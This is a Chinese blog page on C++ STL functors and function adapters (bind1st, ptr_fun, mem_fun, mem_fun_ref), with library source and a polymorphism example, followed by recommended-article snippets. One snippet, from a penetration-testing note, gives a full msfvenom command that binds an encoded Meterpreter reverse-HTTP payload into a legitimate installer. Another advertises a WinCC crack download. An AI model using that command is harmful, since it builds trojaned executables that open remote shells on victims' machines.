仿函数functor和function adapters

<Zhuuu_ZZ>HIVE(十一)函数 Hive内置函数一 Hive函数分类二 字符函数二 类型转换函数和数学函数三 日期函数四 集合函数五 条件函数六 聚合函数和表生成函数6.1 聚合函数6.2 表生成函数:输出可以作为表使用 一 Hive函数分类 从输入输出角度分类 标准函数:一行数据中的一列或多列为输入,结果为单一值 聚合函数:多行的零列到多列为输入,结果为单一值 表生成函数:零个或多个输入,结果为多列或多行 从实现方式分类 内置函数 自定义函数 UDF:自定义标准函数 UDAF:自定义聚合函数 UDTF:自定义表生成函数 阅读详情

         所谓的functor就是使用起来像函数一样的东西,如果你针对某个class进行operator() 【function call操作符】重载,它就成为一个仿函数,至于要成为一个可配接的仿函数,还需要做一些额外的努力。

使functor具备配接能力

         为了拥有配接能力,每一个仿函数都必须定义自己的相应型别,就像迭代器如果要融入整个STL大家庭,也必须依照规定定义自己的5个相应型别一样。这些型别是为了让配接器能够获取相关仿函数的信息,相应的型别都只是一些typedef,其定义了函数的参数型别及返回值类型。

         为了方便起见,stl_function.h中定义了两个classes,unary_function和binary_function,分别代表一元仿函数和二元仿函数。只要按需求选择继承某一个class,变自动拥有了那些相应型别,也就自动拥有了配接能力。相关源码如下:

template <class _Arg, class _Result>
struct unary_function {
 typedef _Arg argument_type;
 typedef _Result result_type;
};

template <class _Arg1, class _Arg2,class _Result>
struct binary_function {
 typedef _Arg1 first_argument_type;
 typedef _Arg2 second_argument_type;
 typedef _Result result_type;
}; 

stl中的function adapter

         具有配接能力的class,就能够和配接器一起使用了。一些常用的配接器如下:

bind1st, bind2nd, not1, not2, ptr_fun, mem_fun,men_fun_ref, mem_fun1, mem_fun1_ref,其中bind1st和bind2nd用于绑定函数的第一个参数和第二个参数,not1和not2分别适用于一元函数和二元函数。以bind1st为例,我们可以通过其源码进一步了解配接能力的概念:

template <class _Operation>
class binder1st
  :public unary_function<typename _Operation::second_argument_type,
                         typename_Operation::result_type> {
protected:
 _Operation op;
 typename _Operation::first_argument_type value;
public:
 binder1st(const _Operation& __x,
           const typename _Operation::first_argument_type& __y)
     : op(__x), value(__y) {}
 typename _Operation::result_type
 operator()(const typename _Operation::second_argument_type& __x)const {
   return op(value, __x);
  }
};
 
template <class _Operation, class_Tp>
inline binder1st<_Operation>
bind1st(const _Operation& __fn, const_Tp& __x)
{
 typedef typename _Operation::first_argument_type _Arg1_type;
 return binder1st<_Operation>(__fn, _Arg1_type(__x));
}

ptr_fun, mem_fun, mem_fun_ptr解析

         比较容易混淆的是ptr_fun,mem_fun, mem_fun_ptr三个仿函数,下面进行说明:

1) ptr_fun:将函数指针进行包装,使其具有配接能力,其源码如下:

template <class _Arg, class _Result>
class pointer_to_unary_function : publicunary_function<_Arg, _Result> {
protected:
 _Result (*_M_ptr)(_Arg);    //封装了函数指针,继承了unary_function,具有配接能力
public:
 pointer_to_unary_function() {}
  explicitpointer_to_unary_function(_Result (*__x)(_Arg)) : _M_ptr(__x) {}
 _Result operator()(_Arg __x) const { return _M_ptr(__x); }
};
 
template <class _Arg, class _Result>
inline pointer_to_unary_function<_Arg,_Result> ptr_fun(_Result (*__x)(_Arg))
{
  return pointer_to_unary_function<_Arg,_Result>(__x);
}

p.s:这是一元函数的形式,stl还重载了二元函数的ptr_fun,这边不列举了,有兴趣的参考stl_function.h。

2) mem_fun与men_fun_ref:用于将成员函数当做仿函数来使用,使成员函数可以搭配各种泛型算法。当容器元素为T&或T*,而我们又以虚函数作为仿函数,便可以由此实现多态调用。

其区别在于函数实例对象类型不同,如果是T&类型,则使用mem_fun_ref;如果是T*类型,则使用mem_fun。

下面列举源码加以说明(以非const类型为例):

template <class _Ret, class _Tp>
class mem_fun_t : publicunary_function<_Tp*,_Ret> {
public:
 explicit mem_fun_t(_Ret (_Tp::*__pf)()) : _M_f(__pf) {}  //封装了成员函数指针
 _Ret operator()(_Tp* __p) const { return (__p->*_M_f)(); }   //实例对象为指针类型
private:
 _Ret (_Tp::*_M_f)();
};
 
template <class _Ret, class _Tp>
inline mem_fun_t<_Ret,_Tp>mem_fun(_Ret (_Tp::*__f)())
  {return mem_fun_t<_Ret,_Tp>(__f); }
 
template <class _Ret, class _Tp>
class mem_fun_ref_t : public unary_function<_Tp,_Ret>{
public:
 explicit mem_fun_ref_t(_Ret (_Tp::*__pf)()) : _M_f(__pf) {}
 _Ret operator()(_Tp& __r) const { return (__r.*_M_f)(); }    //实例对象为引用类型
private:
 _Ret (_Tp::*_M_f)();
};
 
template <class _Ret, class _Tp>
inline mem_fun_ref_t<_Ret,_Tp>mem_fun_ref(_Ret (_Tp::*__f)())
  {return mem_fun_ref_t<_Ret,_Tp>(__f); }

下面是关于上述三个函数使用的一个实例:

vector<Shape *> v;  //指针可实现多态

vector<Shape&> v;  //引用可实现多态,但无法通过编译, 原因是stl不支持“引用语意”(referencesemantics)

vector<Shape>v;  //不能实现多态

class Shape
{
public:
       Shape() {cout << "Shape construct" << endl;}
       virtual ~Shape() {cout << "Shape destuct" <<endl;}
       virtual void display() {cout << "Shape" << endl;}
};
 
class Rect: public Shape
{
public:
       Rect() {cout << "Rect construct" << endl;}
       virtual ~Rect() {cout << "Rect destruct" << endl;}
       virtual void display() {cout << "Rect" << endl;}
};
 
class Circle: public Shape
{
public:
       Circle() {cout << "Circle construct" << endl;}
       virtual ~Circle() {cout << "Circle destruct" <<endl;}
       virtual void display() {cout << "Circle" << endl;}
};
 
int main()
{
       vector<Shape*> vec;
       vec.push_back(new Rect);
       vec.push_back(new Circle);
       for_each(vec.begin(), vec.end(), mem_fun(&Shape::display));  //应使用mem_fun,因为实例对象是Shape*
                  
       for(vector<Shape*>::iterator iter = vec.begin(); iter !=vec.end(); ++iter)
       {
                cout <<typeid((*iter)).name() << "\t" << typeid(*(*iter)).name()<< endl;  //指针类型都为Shape*,实例类型一个为Rect,一个为Circle
                delete *iter;   //vector中存储的类型为new生成的对象,记得delete
       }
 
       cout << "-----------------------" << endl;
       vector<Shape> vec1;    //无法实现多态
       vec1.reserve(3);
       Rect rect1;
       vec1.push_back(rect1);
       Circle circle1;
       vec1.push_back(circle1);
       for_each(vec1.begin(), vec1.end(), mem_fun_ref(&Shape::display));   //应使用mem_fun_ref,因为实例对象是Shape
 
       //vector<Shape&> vec2; //无法通过编译
       return 0;
}

浅析C++中的虚函数 一、定义定义:在某基类中声明为 virtual 并在一个或多个派生类中被重新定义的成员函数。 语法:virtual 函数返回类型函数名(参数表) { 函数体 }    用途:实现多态性,通过指向派生类的基类指针,访问派生类中同名覆盖成员函数  虚函数必须是基类的非静态成员函数,其访问权限可以是protected或public。 定义为virtual的函数是基类期待派生类重新定义的,基类希望派生类继承的函数不能定义为虚函数。 二、作用虚函数的作用是实现动态联编,也就是在程序的运行阶段动态地选择合适的成员函数,在定义了虚函数后,可以在基类的派生类中对虚函数重新定义,在派生类中重新定义的函数应与虚 立即下载

相关推荐

国央企创新负责人如何通过平台实现科研成果的快速识别与转化?.docx

科易网基于AI模型+行业大数据,在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,推出科技创新领域的AI+工具与数智化解决方案,推动科技创新与产业创新智能化发展。

什么是仿函数?

使用对象调用成员函数、使用指向对象的指针调用成员函数和使用指向对象的引用调用成员函数都是调用非静态成员函数的方式,而使用类名调用成员函数只能调用静态成员函数。此外,如果成员函数是虚函数,则使用对象调用成员函数、使用指向对象的指针调用成员函数和使用指向对象的引用调用成员函数会动态绑定(即在运行时根据对象的实际类型来调用相应的虚函数),而使用类名调用成员函数不会进行动态绑定。当我们将一个重载了运算符 "()" 的函数定义为类的成员函数,并且将该类的一个实例称为仿函数对象时,这个函数就具备了仿函数的特征。

weixin_43623488的博客 5201

从jieba分词到BERT-wwm——中文自然语言处理(NLP)基础分享系列(12)

今天是本系列的最后一期,完整代码呈现Huggingface transformers平台上微调BERT-wwm-ext的过程方法。

weixin_49518391的博客 3763

python高阶函数库 functools使用指南,带你认识缓存、键函数、描述器、富比较方法、单派发和泛型函数

functools 库用于提供高阶函数:作用于或返回其他函数的函数。一般,任何可调用对象都可以作为此模块的函数处理。 其中会涉及部分新的概念,包括:。缓存是个 key : value 数据结构或数据库,用来加速用户访问的速度,当用户调用函数时,如果传入函数的参数与之前数据库中记录的 key 相同,则会直接返回库中存储的 value,而不必再次执行函数进行运算;如果传入的参数之前没存在库中,则执行函数,并将结果也存入库中。 不过要注意,调用的参数必须严格相同才会触发缓存查找,如3和3.0会被看做两个不同的ke

空巢青年_rui的博客 3124

Redis中什么是Big Key(大key)问题?如何解决Big Key问题?

通俗易懂的讲,Big Key就是某个key对应的value很大,占用的redis空间很大,本质上是大value问题。key往往是程序可以自行设置的,value往往不受程序控制,因此可能导致value很大。redis中这些Big Key对应的value值很大,在序列化/反序列化过程中花费的时间很大,因此当我们操作Big Key时,通常比较耗时,这就可能导致redis发生阻塞,从而降低redis性能。用几个实际的例子对大Key的特征进行描述:● 一个String类型的Key,它的值为5MB(数据过大); ● 一

weixiaohuai的博客 3万+

【渗透测试笔记】之【钓鱼姿势——exe捆绑与免杀】

准备被捆绑程序: 输入:msfvenom -p windows/meterpreter/reverse_http lhost=x.x.x.x lport=55555 -e x86/shikata_ga_nai -i 15 -f exe -b '\x00\x0a\x0d' -x ~/Desktop/inst.exe > ~/Desktop/Trojan/test_msf_360.exe 目标主机执行,成功上线: ...

AA8j的博客 7649

Function 与 Functor 区别

转:http://blog.sina.com.cn/s/blog_54b8fc360100bhxd.html Function几乎是任何语言的元素之一,从Pascal,Fortran到C++,VB,几乎任何时代的语言都支持它。在C++里,随着 C++标准库的推出,人们开始渐渐的接触到另一种定义函数的方式:Functor。所谓Functor,其实就是重载了operator () 的类,其使用方

Super爬爬虫 1412

波束管理 Beam Management

Beam Management in 5G NR   波束管理,是5G NR中基于信道质量来动态选择每个UE和gNB之间以什么方向和频率的波束beam来进行通信。   背景   5G NR(New Radio)支持非常高的数据速率和更低的延迟。5G NR支持FR1和FR2频段,FR1为亚6 GHz(450至6000 MHz);FR2为毫米波段(24.25 GHz至52.6 GHz)。   由于毫米波频带使用非常高的频率,因此会导致传播损耗和其他损耗。为了补偿损失,在这种频率下定向通信是必不可少的。

最忆是江南的博客 5826

深入 Python 函数式编程模块 functools

functools 模块是 Python 的标准库之一,它提供了一系列用于函数操作的函数。使用这些函数可以编写更简洁、更高效的代码,尤其是在函数式编程范式中。以下是对 functools 模块中一些重要功能做的一个分享print(result) # 输出: 2.5在这个例子中,定义了一个average函数,它将一个新值加到总和中。然后使用reduce函数来应用这个average函数到列表上,初始值为0。这样就得到了列表的平均值。functools 模块为 Python 的函数式编程提供了许多有用的工具。

二等碗 2316

Qt/C++编写自定义控件49-飞机仪表盘

一、前言 飞行仪表是测定和表示飞机数据的工具,飞机中必不可少的一部分,飞行员根据飞行仪表表示的数据才能正确地做出判断。一般飞机仪表包括高度表+空速表+垂直速率表+姿态仪+航向指示表+转弯协调表。 这次要绘制的是其中的姿势仪,显示飞机相对于地平线的姿态,看姿态仪,飞行员能判断飞机姿态为偏左偏右,及偏上和偏下。姿态仪作用原理为一高度旋转的陀螺,不论飞机的姿态如何变化,此陀螺的定轴性在空间保持相同,因而...

Qt/C++视频监控/推流/物联网/大屏系统/自定义控件/UI定制/输入法 7024

【CANdelaStudio编辑CDD】-21.2-创建OBD诊断$03,$07,$0A和$04服务以及OBD DTC

案例背景(共11页精讲):创建OBD诊断$03,$07,$0A和$04服务;以及OBD DTC。 在《【ISO15031_OBD诊断】-3.1-$03服务Request emission-related diagnostic trouble codes理论部分https://blog.youkuaiyun.com/qfmzhu/article/details/122157513》, 《【ISO15031_OBD诊断】-7.1-$07服务Request emission-related diagnostic trou

「汽车电子助手」的博客 1697

STL学习笔记(七)---仿函数与配接器

仿函数(函数对象) 历史上有两个不同的名称,仿函数(functors)是早期的命名,C++标准规格定案后所采用的新名称是函数对象(function objects)。这种东西在调用者可以像函数一样地被调用(调用),在被调用者则以对象所定义的function call operator扮演函数的实质角色。 STL仿函数的分类,若以操作数(operand) 的个数划分,可分为一元和二元仿函数;若以功能划分,可分为算术运算(Arithmetic) 、关系运算(Rational)逻輯运算(Logical) 三大

qq_44272681的博客 269

基于ESP32的智能停车场管理系统开发

智能停车场管理系统通过引入物联网(IoT)技术,实现对停车场内车辆的实时监控、空闲车位的管理、车辆的入场与出场控制等功能,大大提高了停车场的利用率和管理效率。通过集成物联网技术、云平台以及先进的传感器和执行器,系统不仅能实时监控停车场的车位状态,还能提供更好的用户体验。本文将介绍如何基于ESP32开发一个智能停车场管理系统,涵盖系统架构、硬件选择、软件开发以及最新技术的应用,帮助开发者实现高效的智能停车管理。ESP32的代码主要负责处理车位传感器的数据,控制LED指示灯的状态,以及与云平台进行数据交互。

2201_76125393的博客 912

STL基础学习笔记:入门、易错点与查缺补漏

文章目录STL notessequence container`typedef basic_string string``template STL notes Allocator is specified in Chapter 23 What is end iterator? If the interval is [first ,last), the end iterator is th...

U got this 542

Android 12.0 kenel中修改rom系统内部存储的大小

在12.0的系统rom产品开发定制中,在对一些产品开发中的配置需求方面,由于在产品后续订单中,有些产品是出口的,但是硬件方面已经定板,时间比较仓促,所以 就需要软件方面在rom内部存储的大小方面作假,修改rom真实的大小容量,所以就需要在kenel驱动部分来修改这部分的值最好了,接下来分析下计算rom容量的 相关代码,然后做出相关的修改,来实现功能

安卓兼职framework和app工程师的博客 1678

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

C++模板编程:从基础原理到高级应用与STL实现

模板是C++中实现泛型编程的核心机制,它允许开发者编写与类型无关的通用代码,编译器在编译期根据具体类型生成特化版本。其原理基于编译时多态和代码生成,通过类型参数化实现算法和数据结构的复用,解决了代码冗余和类型安全的核心问题。在技术价值上,模板提供了零成本抽象,是标准模板库(STL)的基石,广泛应用于高性能计算、系统编程和库开发。常见的应用场景包括通用容器(如vector、map)、算法(如sort、find)以及元编程中的编译期计算。本文深入探讨了函数模板、类模板、模板特化等核心机制,并结合可变参数模板、S

weixin_34062469的博客 322

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

C++11 仿函数(functor) std::function std::bind

std::function是函数模板类(是一个类)。头文件 #include 是一个函数对象的包装器,函数。lamada表达式。绑定表达式或其他函数对象。指向成员函数和指向数据成员的指针。

q610098308的专栏 1673

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

仿函数

仿函数,又叫做函数对象,是一个重载了"()"运算符的struct,是STL(标准模板库)六大组件(容器、配置器、迭代器、算法、配接器、仿函数)之一;仿函数虽然小,但却极大的拓展了算法的功能,几乎所有的算法都有仿函数版本。例如,查找算法find_if就是对find算法的扩展,标准的查找是两个元素向等就找到了,但是什么是相等在不同情况下却需要不同的定义,如地址相等,地址和邮编都相等,虽然这些相等的定义

armman的专栏 4015

functor(function object)

#include #include #include #include using namespace std;templateclass Add{     private:    type number; public:    Add(type initv) : number(initv){}    const type& operator()(type& elem) const    {   

学习与研究 1185

CREATE_FUNC宏定义函数和lambda表达式作为参数

宏函数和lambda作为函数参数

冷月无情 1062

STL中functor及functor adapter的实现

在学习的过程中看到下面的一条语句: [code="java"] count_if ( vec.begin() , vec.end() , not1 ( bind2nd ( less_equal() , 10 ))); [/code] 对于泛型算法count_if它的实现如下: [code="java"] Template Typename iterator_traits::diffe...

ypaapy的博客 233

「学习总结-Haskell-6」Haskell 重要编程模式——Functor,Applicative,Monad

Haskell 重要编程模式——Functor,Applicative Functor,Monad Table of Contents 1 Haskell 基本知识2 Haskell 重要数据结构-List3 Haskell 常用数据结构4 Haskell 类型5 Haskell 重要概念——函数6 Haskell 重要编程模式——Functor,Applicat...

446

仿函数应用详解

仿函数(Functors,Function Objects) 定义: 我们都清楚普通函数的定义与使用方法,我们可以说任何东西,只要其行为像函数,它就是个函数。如果我们定义了一个对象,其行为像函数,它就可以被当函数来使用。所谓函数行为,是指可以“使用小括号传递参数,蔚以调用某个东西”。例如:...

weixin_30299709的博客 362

关于Python中一种回调方式的实现

 #关于回调功能的测试#Functor是这种回调功能的关键对象class Functor:    """Simple functor class."""    def __init__( self, fn, *args ):        self.fn = fn        self.args = args    def __call__( self,

天堂守夜人 1233

【c++基础】虚函数的使用以及和成员函数的区别

前言一直以来都知道虚函数的经典用法,但是除了本科时刚学c++的时候了解过,后来因为做不同的项目在不同的语言之间跳转(自觉都是浅尝辄止),这些基本的东西都忘记了,现在重拾并记录,权当巩固基础了。经典用法#include<iostream> using namespace std;//几何体类 class Geometry{ public: virtual void draw(){

XiaoHeiBlack的专栏 3159
上一篇: 字符串处理与string解析
下一篇: vim 使用
LinuxG_G
博客等级 码龄15年 58粉丝 176原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值